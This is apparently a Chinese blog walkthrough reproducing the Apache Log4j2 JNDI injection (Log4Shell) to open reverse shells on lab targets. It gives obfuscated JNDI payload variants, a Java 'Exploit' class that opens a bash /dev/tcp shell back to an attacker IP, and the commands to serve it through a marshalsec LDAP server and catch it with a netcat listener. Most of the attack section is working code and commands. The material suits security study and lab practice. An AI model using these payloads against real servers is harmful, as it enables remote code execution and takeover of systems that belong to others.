Apache Log4j2漏洞复现-反弹shell
0X00-引言
过年了,放炮
这个漏洞真牛逼,日天,日地,日空气
2021年12月10日凌晨,我正坐在马桶上,突然看到厕纸上面出现一串神秘代码${jndi:ldap://kao5b1ig.ns.dns3.cf.}
,我赶紧起身,打开电脑一看,网页dnslog弹出记录,我大惊,紧接着,我的手机,耳机,甚至我的台灯都弹出这串神秘代码。我踉跄的后退一步,心中默念,完了,完了,世界将长久苦于这串代码。
仅供学习参考,不得用于违法途径,一切行为与博主无关
0X01-环境搭建
靶场:
http://d63bb2586.lab.aqlab.cn/
CentOS7
vulfocus
攻击机:kali VPS
工具:burpsuite marshalsec-0.0.3-SNAPSHOT-all.jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下文有下载链接
0X02-漏洞描述
360漏洞云:https://mp.weixin.qq.com/s/V4oSpmdIrlxPSsrpUXMNLA
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
经360漏洞云安全专家研判,log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。该漏洞利用方式简单,危害严重,官方已经发布该产品的最新版本,建议用户尽快升级组件,修复缓解该漏洞。Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
payload变种
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
0X03-漏洞复现
01-CentOS搭建靶场反弹shell
01-搭建靶场和下载工具
参考:https://github.com/fengxuangit/log4j_vuln
下载工具:后面用
https://github.com/RandomRobbieBF/marshalsec-jar
靶场搭建-大佬写的-直接在虚拟机运行以下命令就可以
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
访问:http://192.168.234.128:8080/webstudy/hello-fengxuan
burp抓包修改为POST方法
02-编写恶意类-开启Web服务
EXP:注意反弹shell用bash -i >& /dev/tcp/ip/port 0>&1
不可以,需要用exec
public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
javac编译-我把下载的工具都放在一个文件夹内
开启web服务
python3 -m http.server 888 #python3中开启web服务
python -m SimpleHTTPServer 888 #python2
访问
03-工具开启LDAP服务
映射端口888为1234
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.234.135:888/#Exploit" 1234
04-反弹shell
开启nc监听
nc -lvvp 12345
burp修改包添加payload-发送
POST参数为c
c=${jndi:ldap://192.168.234.135:1234/Exploit}
成功弹出shell
02-掌控安全靶场反弹shell
使用VPS做攻击机
靶场:http://d63bb2586.lab.aqlab.cn/若是关闭了-自己进入掌控安全首页开启-之前的靶场-可以用
01-dnslog记录
POC:
${jndi:ldap://example.com}
打开DNSLOG平台:https://dns.咕.com/ 或 dnslog.cn/
打开靶场:http://d63bb2586.lab.aqlab.cn/
点击提交
DNS平台出现记录-验证漏洞存在
02-靶场反弹shell
EXP:注意修改IP
public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.234.135/12345;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
VPS执行命令-和kali流程一样
上传文件-编译
python -m SimpleHTTPServer 888 #开启web服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsIP:888/#Exploit" 1234 #开启LDAP服务
nc -lvvp 12345 #监听
payload:
${jndi:ldap://VPSIP:1234/Exploit}
成功弹出shell
03-vulfocus靶场反弹shell
攻击机VPS-和上面操作有些区别
此种操作不适合上面两个靶场-个人感觉原因是恶意类中反弹shell命令不一样-但是我把命令更换之后还是不行,淦
换一种工具下载链接如下
https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
01-进入靶场
02-反弹shell命令编码
网站:https://www.jackson-t.ca/runtime-exec-payloads.html
03-VPS执行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "以上编码后的命令放入这里" -A "VPSIP"
上图生成紫红色的链接每个都试一下
开启监听
burp抓包-修改-发送
04-反弹成功
0X04-工具检测
0X05-免责声明
仅供学习参考,勿用于非法用途!
一切的一切与本作者无关
0X06-失败原因
JDK版本有问题
弹不了shell可能因为防火墙,也可能因为恶意类中反弹shell命令
0X07-参考
https://mp.weixin.qq.com/s/JtNoGVpDlom1kC3h9CoLTQ
https://zhuanlan.zhihu.com/p/443640671
https://github.com/fengxuangit/log4j_vuln
https://mp.weixin.qq.com/s/JtNoGVpDlom1kC3h9CoLTQ
https://mp.weixin.qq.com/s/FOFLY4kDb42LGcEHN0vKmQ
https://mp.weixin.qq.com/s/W7kajN3GKKlK-C41N4re4g
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html